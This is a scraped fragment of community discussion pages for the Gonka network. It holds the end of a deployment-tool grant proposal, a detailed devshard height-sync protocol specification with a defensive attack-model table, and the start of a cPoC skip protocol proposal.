"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#grant-terms", "title": "Grant terms", "text": "The amount is 50,000 USDT, paid as a single transfer, without vesting and without milestone tranches. Work is conducted in the open: code, releases, the issue tracker, and the changelog all live on GitHub and are accessible to anyone — operators, the core team, and DAO participants. No additional reporting structure to the DAO is proposed: the public repository is the report. Anyone — community member, validator, or core contributor — can inspect the state of the work at any point after the grant is approved, without having to ask.
The proposal was published for community discussion in advance of this on-chain submission. The discussions remain open at:
This grant is about how easily the network can absorb new operators. Today most Gonka operators are people with the experience to deploy and run a node on their own. That works while the network grows through its core, but at some point growth runs into the entry barrier for everyone without that background. NOP removes that barrier: a new operator doesn't have to understand the internals, and an experienced operator gets the automation to manage a fleet of nodes.
The network changes with every release — new models, updated images, adjusted parameters. If the tool doesn't keep up, it quickly becomes a snapshot of the past, and the entry barrier comes back. The grant funds exactly that work: keeping NOP current release after release.
The grant covers not just the product, but the work of keeping it current. Node deployment should stay simple as the network evolves, and the infrastructure layer shouldn't become a bottleneck to growth.
In mature networks, deployment tooling is treated as part of the protocol surface rather than a side project, maintained at the same cadence as the chain — the alternative is an operator set that thins out with every upgrade, as operators who cannot keep pace with each release quietly fall behind and stop participating. A network's long-term resilience is bounded by the breadth of operators who can keep their nodes correct through change, not by how many were able to set one up in the first place.
"}, {"location": "community/discussion/proposals/1192-inc4-gonka-nop-grant-for-the-node-deployment-tool/#inc4", "title": "INC4", "text": "🔄 Auto-sync: from Discussion #1206 every hour.
"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#devshard-improvement-height-sync-protocol", "title": "devshard improvement Height-sync protocol", "text": "Автор: @alexanderkuprin · Категория: Proposals · Создано: 2026-05-20 04:18 UTC · Обновлено: 2026-05-20 04:18 UTC
"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#height-sync-protocol", "title": "Height-sync protocol", "text": "User ↔ host envelopes carry an optional HeightSyncSection that attests to a mainnet (height, block_hash) pair. This section is the sole input to cross-host time alignment, timeout decisions, and the IsStrictlyConfirmed(h) predicate that downstream protocols (cPoC, finalization) gate verdicts on. block_hash is a source of determenistic randomness that is unknown in advance, used by VALIDATION_PROTOCOL_PROPOSAL.md
This document is the canonical, single-version spec. The in-tree implementation matches this document; the test catalog (height-sync-tests.md) lists what is already proven and what is planned.
Related docs: height-sync-tests.md (test catalog — implemented and planned), CPOC_PROTOCOL.md, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md, VALIDATION_PROTOCOL_PROPOSAL.md.
K, slots_num, forced turns)IsStrictlyConfirmed)User–host inference traffic carries a two-section HTTP body:
HeightSyncSection — optional mainnet attestation: a signed (mainnet_height, mainnet_block_hash) pair, plus framing and provenance metadata.message_body — the application payload (opaque to height sync).Section 1 is emitted only when needed:
K nonces, a window of slots_num consecutive nonces carries Anchor; in between, Omit.MsgForceHeightSyncTurn opens a slots_num-wide Anchor span at any nonce (cPoC dispute open, operator force).|Δ| > D — when the sender's claimed height differs from the receiver's aligned height by more than D, the sender MUST use Strong (LightBlock + VerifyCommit); otherwise the receiver rejects.Hosts sign response-leg Anchors with their secp256k1 signer key; courier users carry these signed blobs forward, verifying on ingest and using them as on-demand exculpation proof. Request-leg Anchors are trusted by hosts (no inline signature) — the user proves provenance later if disputed.
A single IsStrictlyConfirmed(h) predicate exposes a discrete {confirmed, pending, stale} answer to downstream consumers.
At devshard we need source of mainnet height and randomness, that is unknowm in advance but is determenistic to make all hosts and user to aggree.
Each host has it's own latest (height, block_hash) oracle (inference chain grpc), and the prove by inference chain validators signatures. But hosts should aggree that any height provided to protocol is really latest. So there should be height sync protocol provided in this doc.
As devshard is designed for high throughput we aim to minimize extra data transferred in messages and minimize checks of minnet signatures. Also we are minimizing gossipping that should happen only on disputes and settlement to minimize traffic (as one host could be in a lot of devshard's)
So main design decitions are made:
(height, block_hash) and originator's (host that is responding to request) signature, to proove origin of this data for possible disputes. User is carrying forward (height, block_hash) at next requests to propogate this data to other hosts.height_in_the_future - known_height = |Δ| > D) we use the full data from mainnet (block hash and validators signatures) to validate the heightheight doesn't match the oracle block_hash we start the disputeAs the result we provide API at devshardd and devshardctl that gives latest height, block hash and the knowledge if majority of devshard network participants agree on this.
"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#4-goals", "title": "4. Goals", "text": "LightBlock) on a sync-turn schedule keeps every host's view of mainnet time within a bounded window without per-message proof overhead.|Δ| > D or finalization requires it, validator-quorum-bound proof (LightBlock) is mandatory.(H, hash) is traceable to the originating host signature; carriers cannot be blamed for forwarding a malicious host's signed claim, and carriers that strip provenance become the cryptographic source.F on originator timestamp + per-recipient last-propagated bookkeeping prevents a carrier from re-using stale or already-delivered tips.IsStrictlyConfirmed(h) ∈ {confirmed, pending, stale} predicate so cPoC / finalization do not invent their own quorum logic.(C-quorum) confirmation.HeightSyncSection Wire-level header attached to every inference envelope; absent in Omit mode. Anchor proof_type = \"height-anchor-v1\"; carries (H, hash) without a LightBlock. Light path. Strong proof_type = \"cometbft-light-block-v1\"; carries LightBlock bytes; verified against pinned validator set with > 2/3 voting power. Omit No HeightSyncSection. H Mainnet height; uint64. hash Canonical BlockID.Hash for block H. K Distance (in nonces) between sync-turn windows. Constraint: K ≥ slots_num. slots_num Width of a sync-turn window in nonces (equals escrow host slots). D Strong-escalation band; \\|H_peer − H_local_aligned\\| > D ⇒ Strong required. Default 2. F Originator freshness budget. Default 60 s. W_conf Confirmation-index height window. Default max(256, ⌈F / block_time⌉). Q (C-quorum) threshold. Default ceil(2/3 × N_hosts). Originator The host whose own oracle first observed (H, hash). Identified by OriginatorSenderID on the wire. Carrier Any sender that forwards a section it did not originate (typically the user). Identified by the session signature. local_aligned The receiver's view of mainnet height (its own follower, or its peer-tip cache for courier users). IsStrictlyConfirmed(h) {confirmed, pending, stale} predicate consumed by cPoC."}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#6-architecture-overview", "title": "6. Architecture overview", "text": "flowchart LR\n subgraph mainnet [Gonka mainnet]\n BC[CometBFT consensus]\n end\n\n BC -- \"block headers + commits\" --> HSD[heightsyncd / blockoracle]\n\n subgraph host [Host runtime]\n HSD --> SCH_H[AnchorScheduler<br/>local-oracle source]\n SCH_H --> TX_H[transport.Server<br/>signs response leg]\n TX_H -- \"HeightSyncSection<br/>request inbound\" --> RX_H[Receiver pipeline<br/>D-band, freshness, classify]\n RX_H --> AUD_H[AuditRing + ConfirmationIndex]\n AUD_H -- \"IsStrictlyConfirmed\" --> CPOC_H[cPoC consumer]\n end\n\n subgraph user [Courier user / devshardctl]\n TIPS[HeightSyncPeerTips<br/>verbatim signed blobs] --> SCH_U[AnchorScheduler<br/>peer-tip source]\n SCH_U --> TX_U[transport.HTTPClient<br/>Carry, strip sig on request]\n TX_U -- \"response inbound<br/>verify + cache\" --> RX_U[Verify response Anchor<br/>RecordOriginWithBlob]\n RX_U --> TIPS\n TIPS -- \"IsStrictlyConfirmed\" --> CPOC_U[cPoC consumer]\n end\n\n TX_U -- \"request leg<br/>HeightSyncSection\" --> RX_H\n TX_H -- \"response leg<br/>HeightSyncSection (signed)\" --> RX_UKey invariants:
heightsyncd/blockoracle); this is the canonical source of local_aligned.local_aligned from the verified peer-tip cache populated by signed host responses.HeightSyncSection is the only mainnet-related wire surface on inference envelopes; the receiver pipeline is single-entry.HeightSyncSection is carried as protobuf field on the inference envelope and JSON-mirrored for tooling. Field numbers are stable.
proof_type string Anchor / Strong \"height-anchor-v1\" (Anchor) or \"cometbft-light-block-v1\" (Strong). 2 mainnet_height int64 Anchor / Strong Block height H. MUST NOT be set in Omit. 3 mainnet_block_hash_hex string (hex) Anchor / Strong Canonical BlockID.Hash for H. 4 timestamp_unix_ms int64 always When the carrier built this section. 5 direction string always \"request\" or \"response\". 6 originator_sender_id string carry-forward The host that first observed (H, hash) from its own oracle. Carrier MUST preserve. 7 originator_timestamp_unix_ms int64 carry-forward The originator's observation timestamp. Drives freshness gate F. 8 sender_signature bytes response leg only secp256k1 signature over canonical bytes of fields 1–7 + domain \"heightsync.origin.v1\". Empty on request leg. 9 light_block bytes Strong only Serialized LightBlock-equivalent (blockoracle.Header with Commit.Signatures). 10 tip_stale_after_ms int64 optional (Anchor) Advisory only — not origin-signed. Milliseconds since the producer's block oracle last ingested a new header. Set when cadence wanted Anchor but the feed is quiet (long block time, StaleAfter exceeded) while a cached (H, hash) is still available. Absent when the tip is fresh or on courier carry-forward re-emits. Receivers MUST NOT treat this field as part of the cryptographic attestation; use freshness gate F on originator timestamps and (C-quorum) / IsStrictlyConfirmed for liveness. Notes:
StaleAfter but Latest() still returns a cached header, hosts emit a normal Anchor (fields 1–8) plus field 10. This avoids sync-turn response Omit during long inter-block gaps; consensus across hosts still corrects a minority with an outdated tip. Omit remains mandatory when there is no cached tip (feed never started), Latest() fails (feed unavailable), or the courier peer-tip cache is empty.Carry() clears field 8 before sending on the request leg; inbound request validation does not require an inline signature.CanonicalOriginBytes(sec) = \"heightsync.origin.v1\" || proto.Marshal(fields 1..7). Field 8 is not part of the signing input.origin_attestation (embedded originator blob) is reserved for future inline-embed deployments; current protocol uses the asymmetric model (response signed, request trusted, on-demand exculpation).JSON mirror:
{\n \"height_sync\": {\n \"proof_type\": \"height-anchor-v1\",\n \"mainnet_height\": 42,\n \"mainnet_block_hash_hex\": \"abc...\",\n \"timestamp_unix_ms\": 1700000000000,\n \"direction\": \"response\",\n \"originator_sender_id\": \"gonka1host...\",\n \"originator_timestamp_unix_ms\": 1700000000000,\n \"sender_signature\": \"base64...\",\n \"light_block\": \"base64...\",\n \"tip_stale_after_ms\": 12000\n }\n}\n(tip_stale_after_ms omitted when the cached tip is fresh.)
stateDiagram-v2\n direction LR\n [*] --> Omit\n Omit --> Anchor: nonce in sync turn / forced turn / lazy carry\n Anchor --> Omit: next nonce outside window\n Anchor --> Strong: \\|H − local_aligned\\| > D OR forced (StrongRequired)\n Strong --> Anchor: peer realigned, within D again\n Anchor --> Anchor: cadence next turn\n Strong --> Strong: still > Dlight_block) When Omit absent absent Between sync turns; courier peer-tip cache cold; host feed unavailable or no cached tip. Anchor present empty Inside a sync-turn window (cadence / initial / forced) or lazy carry-forward in courier mode. Anchor (degraded) present + field 10 empty Same as Anchor when cadence applies but the host oracle is quiet (StaleAfter since last block) and a cached tip exists — see field 10. Strong present non-empty (verified) \\|Δ\\| > D, finalization-grade, or forced turn with StrongRequired = true. Periodic alignment uses Anchor only. Strong is not a default cadence step — it is the disagreement / dispute path.
Quiet feed vs dead feed (hosts):
Oracle state Cached tip Sync-turn response Fresh (block withinStaleAfter) yes Anchor (no field 10) Quiet (no new block within StaleAfter) yes Degraded Anchor (tip_stale_after_ms > 0) Quiet or fresh no Omit (oracle_miss when cadence required) Unavailable (Latest() error, e.g. height-sync stopped) — Omit"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#9-cadence", "title": "9. Cadence", "text": ""}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#sync-turn-windows", "title": "Sync-turn windows", "text": "For a session direction, on outgoing nonce n:
1 ≤ n ≤ slots_num → Anchor (or Strong, see §10).i ≥ 1, i·K ≤ n ≤ i·K + slots_num − 1 → Anchor.Constraint: K ≥ slots_num so windows never overlap.
gantt\n title Sync-turn cadence (K=8, slots_num=4)\n dateFormat X\n axisFormat %s\n section Cadence\n Initial sync turn (Anchor) :a1, 1, 4\n Omit :a2, 5, 7\n Periodic sync turn 1 :a3, 8, 11\n Omit :a4, 12, 15\n Periodic sync turn 2 :a5, 16, 19MsgForceHeightSyncTurn(trigger_nonce, slots_num, reason, strong_required?) opens an ActiveForcedTurn{start, end} span:
[start, end]. Omit inside a forced turn is INVALID.strong_required = true upgrades the window to Strong.n > end, cadence resumes from the standard rule.Outside any sync-turn window, the courier user MAY emit Anchor on a request leg iff:
MaxFresh(now, F) returns non-nil).cached_max_height > last_propagated[recipient].The receiver classifies this as VALID_LAZY_ANCHOR (audit tag lazy); it does not open a sync-turn obligation.
OriginatorSenderID = host_address, OriginatorTimestampMs = now, and sign the section (field 8). If the oracle is quiet (no new block within StaleAfter) but a cached tip exists, still emit that Anchor and set tip_stale_after_ms to the age of the last ingested block (field 10 is set after signing input fields 1–7). Omit only when there is no usable cached tip or Latest() fails.forced.StrongRequired is set OR receiver's peer_aligned_height differs from local tip by > D: produce Strong by attaching the cached LightBlock for H (field 9).HeightSyncPeerTips keyed by OriginatorSenderID.VerifyOrigin); on failure, drop the tip and increment origin_sig_invalid_total.sender_signature) before sending.OriginatorSenderID = user_address; that field reflects the host that signed the cached blob.flowchart TD\n A[envelope arrives] --> B{HeightSyncSection<br/>present?}\n B -- no --> O{nonce in sync turn /<br/>active forced turn?}\n O -- yes --> O1[INVALID<br/>sync_turn_anchor_missing]\n O -- no --> O2[VALID_OMIT]\n B -- yes --> C{Anchor or Strong?}\n C -- Anchor --> D{\\|H − local_aligned\\| > D?}\n D -- yes --> D1[INVALID<br/>strong_required]\n D -- no --> E{carry-forward<br/>originator set?}\n E -- yes --> F{originator within F?}\n F -- no --> F1[INVALID<br/>stale_origin]\n F -- yes --> G[classify cadence / lazy<br/>by nonce vs sync turn]\n E -- no --> G\n C -- Strong --> H[StrongVerifier.VerifyLightBlock]\n H -- ok --> I[VALID_STRONG]\n H -- fail --> H1[INVALID<br/>strong_proof_invalid]\n G --> J{block H local AND<br/>hash matches?}\n J -- yes/match --> K[VALID_ANCHOR or<br/>VALID_LAZY_ANCHOR]\n J -- no/local-missing --> L[enqueue deferred check]\n J -- local AND mismatch --> M{originator present?}\n M -- yes --> M1[DISPUTE_ORIGINATOR]\n M -- no --> M2[DISPUTE_CARRIER]Normative steps for a non-Omit envelope:
ActiveForcedTurn[start..end] is set and start ≤ nonce ≤ end, the envelope MUST be Anchor (or Strong when StrongRequired). Omit ⇒ INVALID.D band. If proof_type == \"height-anchor-v1\" and |H − local_aligned| > D: INVALID (strong_required).proof_type == \"cometbft-light-block-v1\": run StrongVerifier.VerifyLightBlock (chain id, header vs claims, validators_hash, optional epoch-bound Step 3b, BlockID, commit > 2/3); failure ⇒ INVALID (strong_proof_invalid).OriginatorSenderID != \"\":now_ms − OriginatorTimestampMs > F ⇒ INVALID (stale_origin); audit trust = TrustDisputeCarrier.VALID_ANCHOR (tag cadence).VALID_LAZY_ANCHOR (tag lazy).VALID_ANCHOR.H is local and hash matches → confirmed immediately; feed ConfirmationIndex.H is not yet local → enqueue deferred check by (originator, H, hash); do not advance height_seen_max.H is local and hash differs → DISPUTE_ORIGINATOR (originator metadata present) or DISPUTE_CARRIER (originator absent or signature failed); persist the offending signed blob.AnchorAttestation (with Tag, Trust, OriginatorSenderID, OriginSignedBlobAvailable) to the per-peer ring; emit counters.message_body if not INVALID.VALID_OMIT No height attestation; framing OK. VALID_ANCHOR Anchor inside cadence / forced span; hash matched or deferred enqueued. VALID_LAZY_ANCHOR Anchor outside cadence (courier path); same audit semantics as VALID_ANCHOR, tag lazy. VALID_STRONG LightBlock verified against pinned set; may advance strong anchor state. VALID_STALE Cryptographically OK but recency rule fails (Strong-only). DEFERRED_FAIL Deferred check found hash mismatch ⇒ evidence vs originator. DISPUTE_ORIGINATOR Same-height / different-hash with verified originator. DISPUTE_CARRIER Same-height / different-hash without verified provenance. INVALID(reason) One of: sync_turn_anchor_missing, stale_origin, strong_required, strong_proof_invalid, bad_framing."}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#12-trust-model-and-signatures", "title": "12. Trust model and signatures", "text": "The protocol is asymmetric: responses are signed, requests are trusted, exculpation is on-demand.
sequenceDiagram\n participant U as User (courier)\n participant H as Host A\n participant H2 as Host B\n U->>H: request (request leg, no sig)\n H->>U: response Anchor [signed by Host A]\n Note over U: VerifyOrigin OK<br/>RecordOriginWithBlob(host_A, H, blob, sig)\n U->>H2: request Anchor (carry-forward, no inline sig)\n Note over H2: trusts carrier;<br/>freshness gate F applies\n Note over H2: later, follower advances<br/>compares hash to canonical\n H2-->>U: DEFERRED_FAIL? open dispute vs user\n U->>U: HeightSyncEvidenceFor(host_A, H) → blob + sig\n U-->>H2: signed_blob proves originator = Host A<br/>⇒ DISPUTE_ORIGINATOR vs Host AOriginatorSenderID, OriginatorTimestampMs, builds CanonicalOriginBytes (fields 1–7 + domain heightsync.origin.v1).origin_sig_invalid_total increments.RecordOriginWithBlob(originator, sec, blob, sig).Carry() strips field 8 before sending.If a host later opens a dispute against the user-carrier, the user calls HTTPClient.HeightSyncEvidenceFor(originator, H) to produce the cached (blob, sig). A dispute verifier re-runs VerifyOrigin; success ⇒ blame shifts to the originating host (DISPUTE_ORIGINATOR); failure ⇒ blame stays on the carrier (DISPUTE_CARRIER).
When Strong is on the wire (light_block non-empty), validation is cryptographic against the pinned validator set:
LightBlock-equivalent (blockoracle.Header).chain_id, height, block_hash against claims.validators_hash matches Merkle root of the pinned set.BlockID == hdr.BlockID.VerifyCommit: every commit signature ecrecovers to a pinned validator, no duplicates, accumulated power strictly > 2/3 of total.h ≥ local_tip − max_lag_blocks else VALID_STALE.OriginatorSenderID or OriginatorTimestampMs.D bound on carry-forward. A carry-forward Anchor with |H − local_aligned| > D is INVALID; carrier MUST escalate to Strong instead. (This is a stricter form of strong_required.)DISPUTE_CARRIER).last_propagated discipline", "text": "HeightSyncPeerTips.ShouldPropagateTo(recipient, h) returns true iff h > last_propagated[recipient]. On a successful send, MarkPropagated(recipient, h) advances the high-water mark. Reaching a quorum at a late host requires a strictly increasing height ladder (production-faithful) — not three lazy carries at the same H.
// devshard/heightsync/confirmation.go\n\ntype ConfirmState int\nconst (\n ConfirmPending ConfirmState = iota\n ConfirmConfirmed\n ConfirmStale\n)\n\ntype ConfirmationView interface {\n IsStrictlyConfirmed(h uint64) ConfirmState\n}\nSemantics:
confirmed — h has cleared the configured confirmation rule. Downstream protocols MAY treat (h, hash) as authoritative.pending — height-sync has data for h but has not yet cleared the rule. Downstream MUST NOT commit adversarial verdicts; cPoC returns Inconclusive (C6).stale — h cannot be evaluated because the oracle is stale / disconnected. Downstream treats verdicts as Inconclusive until recovery.Monotonicity: once confirmed, a height stays confirmed. pending → confirmed is the only forward transition.
Configured at deployment time:
Rule Predicate(C-quorum) ≥ Q distinct originators from the roster have attested heights ≥ h, all within F, all in [tip − W_conf, tip]. (C-strong) Receiver has at least one verified LightBlock for height ≥ h. (C-hybrid) Either of the above clears. PoC deployments without Strong run (C-quorum). Production-class deployments SHOULD select (C-hybrid) once Strong is enabled.
F Freshness; ineligible after now − observed_at > F 60 s W_conf Index window: only heights in [tip − W_conf, tip] count max(256, ⌈F / block_time⌉) Q Quorum threshold (C-quorum) ceil(2/3 × N_hosts) max_height < tip − W_conf or observed_at past F).confirmed_heights set so pruning never demotes a confirmed height.V view, not global", "text": "IsStrictlyConfirmed is computed against the caller's own audit ring and clock. Two verifiers may transiently disagree (pending vs confirmed); cPoC's quorum-based slashing tolerates this.
The following Go APIs are the stable surface that cPoC and finalization consume. Implementation paths in parentheses.
"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#151-discrete-confirmation-predicate", "title": "15.1 Discrete confirmation predicate", "text": "// On the user side (courier):\nfunc (c *transport.HTTPClient) ConfirmationView() heightsync.ConfirmationView\n// On the host side (own oracle):\nfunc (s *transport.Server) ConfirmationView() heightsync.ConfirmationView\nBoth expose ConfirmationView.IsStrictlyConfirmed(h uint64) ConfirmState. cPoC §C6 / §C14 / §Verdict step 5 call this directly.
Usage example (cPoC verdict):
view := server.ConfirmationView()\nswitch view.IsStrictlyConfirmed(h) {\ncase heightsync.ConfirmConfirmed:\n // commit verdict\ncase heightsync.ConfirmPending:\n return InconclusivePendingHeight(h)\ncase heightsync.ConfirmStale:\n return InconclusiveStaleOracle()\n}\nfunc (c *transport.HTTPClient) ObservedHeightNow() (uint64, bool)\nReturns (h, true) where h is the highest fresh tip in the courier peer-tip cache; (0, false) when no fresh tip exists or height sync is not configured. Used by cPoC C14 heartbeats — a false return means \"Inconclusive — no fresh height\".
// User side: produce the originator's signed blob for (originator, h).\nfunc (c *transport.HTTPClient) HeightSyncEvidenceFor(\n originator string, h int64,\n) (blob, sig []byte, ok bool)\nReturned by the courier cache (HeightSyncPeerTips.OriginSignedBlobFor). Verifiable with heightsync.VerifyOriginDetached(verifier, sec, blob, sig) without reaching the user.
// Host side: return cached LightBlock for h, if available.\nfunc (s *transport.Server) LightBlockFor(h int64) (proof []byte, ok bool)\nWhen the receiver's follower has advanced past a disputed H, the dispute packet may carry both halves:
HeightSyncEvidenceFor (blame).LightBlock from LightBlockFor (canonical pair).A mock dispute verifier returns DISPUTE_ORIGINATOR when both pass.
// Server option:\ntransport.WithHeightSyncSeedRPC(true)\n// Client call:\nfunc (c *transport.HTTPClient) SeedHeightSync(ctx context.Context) (uint64, bool, error)\nOpt-in POST /sessions/:id/height-sync: the host returns a forced Anchor (originator-signed). The courier verifies + caches it before issuing the first inference — useful for short-lived sessions where the first inference is not in a sync turn.
// Operator / dispute / cPoC trigger:\nstate.SendMsgForceHeightSyncTurn(triggerNonce, slotsNum, reason, strongRequired)\nOpens an ActiveForcedTurn in the next diff; every envelope in [trigger, trigger + slots_num − 1] MUST be Anchor (or Strong when strongRequired = true).
type AuditRing interface {\n List(peerID string) []AnchorAttestation\n ListPeers() []string\n ConfirmationView() ConfirmationView\n}\n\nfunc (c *transport.HTTPClient) HeightSyncAuditRing() *heightsync.AuditRing\nfunc (s *transport.Server) HeightSyncAuditRing() *heightsync.AuditRing\nUsed by dispute / finalization consumers that need verbatim attestations and per-peer history.
"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#16-attack-model", "title": "16. Attack model", "text": "Each row maps an adversary action to the protocol's defence and to the test scenario that proves it (full catalog in height-sync-tests.md).
(H, hash) and signs it (C-quorum) rejects single bad vote; deferred check eventually triggers DEFERRED_FAIL; DISPUTE_ORIGINATOR with stored signed blob TestHeightSyncAnchor_E2E_MixedHeights_Confirmed, TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash, TestHeightSyncAnchor_E2E_CarrierExculpation; planned: TestHeightSyncStrong_E2E_DeferredFail_StrongEvidence 2 Carrier replays a stale originator section Freshness gate F rejects with stale_origin; carrier flagged TrustDisputeCarrier TestHeightSyncAnchor_E2E_StaleOriginRejected, TestHeightSyncAnchor_E2E_HeldOriginatorReplayRejected 3 Carrier strips originator fields on carry-forward Carrier becomes the cryptographic signer; DISPUTE_CARRIER on mismatch; sync-turn empty-originator audit dispute sentinel Existing audit-ring tests; TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 4 Carrier substitutes hash Audit verbatim; quorum cannot reach confirmed; eventually DEFERRED_FAIL TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash 5 Host returns invalid sender_signature User drops tip; origin_sig_invalid_total increments; no cache; reputation/liveness handles persistent offenders TestHeightSyncAnchor_E2E_ResponseOriginSignatureInvalidDropped, TestClient_ResponseAnchor_DropsOnInvalidSig 6 Sender claims (H, hash) \\|Δ\\| > D ahead with Anchor (no Strong) INVALID(strong_required); carrier cannot escape via originator metadata Planned: TestClassify_StrongRequiredOutsideD, S1, S8 7 Tampered LightBlock (signatures, validators_hash, BlockID) Step 2/3/5/6 of CometBFT verification rejects Planned: TestVerifyLightBlock_*, S4 8 Validator-set substitution (wrong epoch) Optional Step 3b verifies against epoch participants Planned: S9 9 Mainnet feed unavailable mid-session (Latest() fails) Scheduler emits Omit on sync turn; IsStrictlyConfirmed → stale; no crashes; cPoC returns Inconclusive TestHeightSyncAnchor_E2E_HeightSyncFeedStopped_*, TestHeightSyncAnchor_E2E_StaleOracle_Inconclusive 13 Long inter-block time (feed quiet, cached tip still valid) Host emits degraded Anchor with tip_stale_after_ms; courier may still ingest verified response tips; (C-quorum) reconciles height across hosts TestAnchorScheduler_StaleFeedEmitsDegradedAnchorInSyncTurn, TestDecide_LogStaleSyncTurn, container TestContainerE2E_HeightSync_Cadence (testenv MOCKDAPI_STALE_AFTER ≥ block cadence) 10 Host equivocates across sessions ((H, hash_A) then (H, hash_B)) Per-V audit ring + dispute layer cross-session check Audit-ring tests; full cross-session detection deferred to dispute plan 11 User omits Anchor inside a forced sync turn Hosts MUST still emit Anchor on responses; missing user Anchor recorded as force_request_anchor_missing sentinel for dispute TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 12 Replay an old verified LightBlock Recency gate local_tip − max_lag_blocks → VALID_STALE; never advances aligned height Planned (Strong recency) Out-of-scope adversaries:
> 2/3 of mainnet validators — outside this protocol's defence; same as any L1 consensus assumption.blockoracle/verifier); height sync does not re-validate.K 8 AnchorScheduler constructor (NewAnchorSchedulerFromOracle(K, slots, src)) slots_num 4 (testenv) / slots_num = escrow.HostSlots (production) same D 2 StrongPolicy.D (planned) F 60 s HeightSyncPeerTips.Freshness, ConfirmationConfig.Freshness W_conf 256 heights ConfirmationConfig.WindowHeights Q ceil(2/3 × N_hosts) ConfirmationConfig.Quorum (override; defaults from roster size) Audit-ring capacity 1024 per peer NewAuditRing(capacity) Header-cache window (Strong) 64 heights BlockOracleStrongSource.K (planned) Strong recency off (max_lag_blocks = 0) follow-on hardening Confirmation rule (C-quorum) ConfirmationConfig.Rule (Quorum/Strong/Hybrid) StaleAfter (block oracle client) 10 s client default; testenv: block_time + block_interval_delta + 1s (floor 10s) MOCKDAPI_STALE_AFTER env (compose / devshardd-testenv)"}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#18-status-and-milestones", "title": "18. Status and milestones", "text": "Milestone Status Notes Cadence + Anchor + audit + forced turn ✅ v1 PoC; container parity Phase A–C green. Courier mode + (C-quorum) + lazy carry + freshness gate ✅ v2; in-process e2e green (E1–E11). Asymmetric response signatures + exculpation API ✅ Step 8 (v2.1); in-process e2e green (E9, E10). Strong mode (LightBlock + VerifyCommit + D band + (C-strong) / (C-hybrid)) ⏳ Tests catalogued in height-sync-tests.md §6 (S1–S12). Container tests parity ⏳ follow-on. On-chain MsgHeightSyncEvidence + slashing tx ⏸ dispute / cPoC owns."}, {"location": "community/discussion/proposals/1206-devshard-improvement-height-sync-protocol/#reading-order-for-contributors", "title": "Reading order for contributors", "text": "height-sync-tests.md — every behaviour above is bound to at least one named test.🔄 Auto-sync: from Discussion #1207 every hour.
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#devshard-improvement-cpoc-skip-protocol", "title": "devshard improvement cPoC skip protocol", "text": "Автор: @alexanderkuprin · Категория: Proposals · Создано: 2026-05-20 05:28 UTC · Обновлено: 2026-05-20 05:28 UTC
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#cpoc-skip-protocol-devshard-proposal", "title": "cPoC skip protocol (devshard) — proposal", "text": ""}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#summary", "title": "Summary", "text": "In a devshard, hosts that run confirmation PoC (cPoC) must not serve normal inference for the duration of their PoC obligation. Other hosts must be able to tell whether a skip is legitimate (the skipping host is on the cPoC schedule at the relevant height) or abusive (lying, or refusing work). This document specifies the data flow and the cases that the cPoC protocol must handle.
The core idea that hosts know mainnet heights and there is (out of scope) concensus mechanism to agree on that heights. Hosts bind nonces to heights, but only to nonces they know. If host served request with nonce_A it binds it to H_A(host), the next nonce served by this host will be nonce_B = nonce_A + slots_num. So every nonce between nonce_A and nonce_B from the hosts view is between known to host H_A(host) and H_B(host). And there are nonces where some other host skips the inference because of performing cPoC. So the other hosts can verify, if this skip was valid or not.
Out of scope for this document:
**H(host)** equal to the height known to the majority of validators / devshard hosts (its own follower + height-sync rules have converged on that value). Discrepancies at the level handled by the height-sync spec are that spec’s problem; this document only distinguishes the cases where such a discrepancy affects a cPoC verdict and defers the discrepancy itself to height sync.Valid / Invalid / Inconclusive) and hands evidence to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.It may be easier to understand this proposal through worked examples; see Cases to handle (case / dataflow).
Status: draft — data flow + cases specified below; wire schemas, chain hooks, and slashing predicates still TBD.
"}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#scope", "title": "Scope", "text": "Part Content Depth in this doc 1 On escrow start, random (or policy-driven) host assignment so that roughly ~20% of devshard hosts havePOC_SLOT = true (keep serving inference during cPoC windows) and the rest run cPoC when scheduled. Out of scope for deep specification — operational/policy; implementers can fix exact ratio and RNG source separately. 2 Protocol for proving that a host was entitled to skip inference because of cPoC at a given mainnet height, under height disagreement and Byzantine developers/hosts. In scope — normative intent below; formalization pending."}, {"location": "community/discussion/proposals/1207-devshard-improvement-cpoc-skip-protocol/#shared-assumptions-informative", "title": "Shared assumptions (informative)", "text": "**V exposes a scalar **H(V)** — the mainnet height known to the majority of validators / devshard hosts as of **V’s latest convergence with the height-sync layer. This doc does not re-specify how H(V) is computed, trusted, or refreshed; see HEIGHT_SYNC_PROTOCOL_PROPOSAL.md. When this doc says “height **H” without qualification, read it as **H(V) at the moment V evaluates the case.**H_i** and a mainnet height **H**, there exists a deterministic predicate **Schedule(H_i, H) ∈ {idle, prepare, active}** derivable from chain / epoch state by anyone with that height. Semantics of prepare vs active are defined in the chain-side cPoC spec and out of scope here.**N_slots slots and fixed mapping **executor(nonce) = hosts[nonce mod N_slots]**, the same logical slot 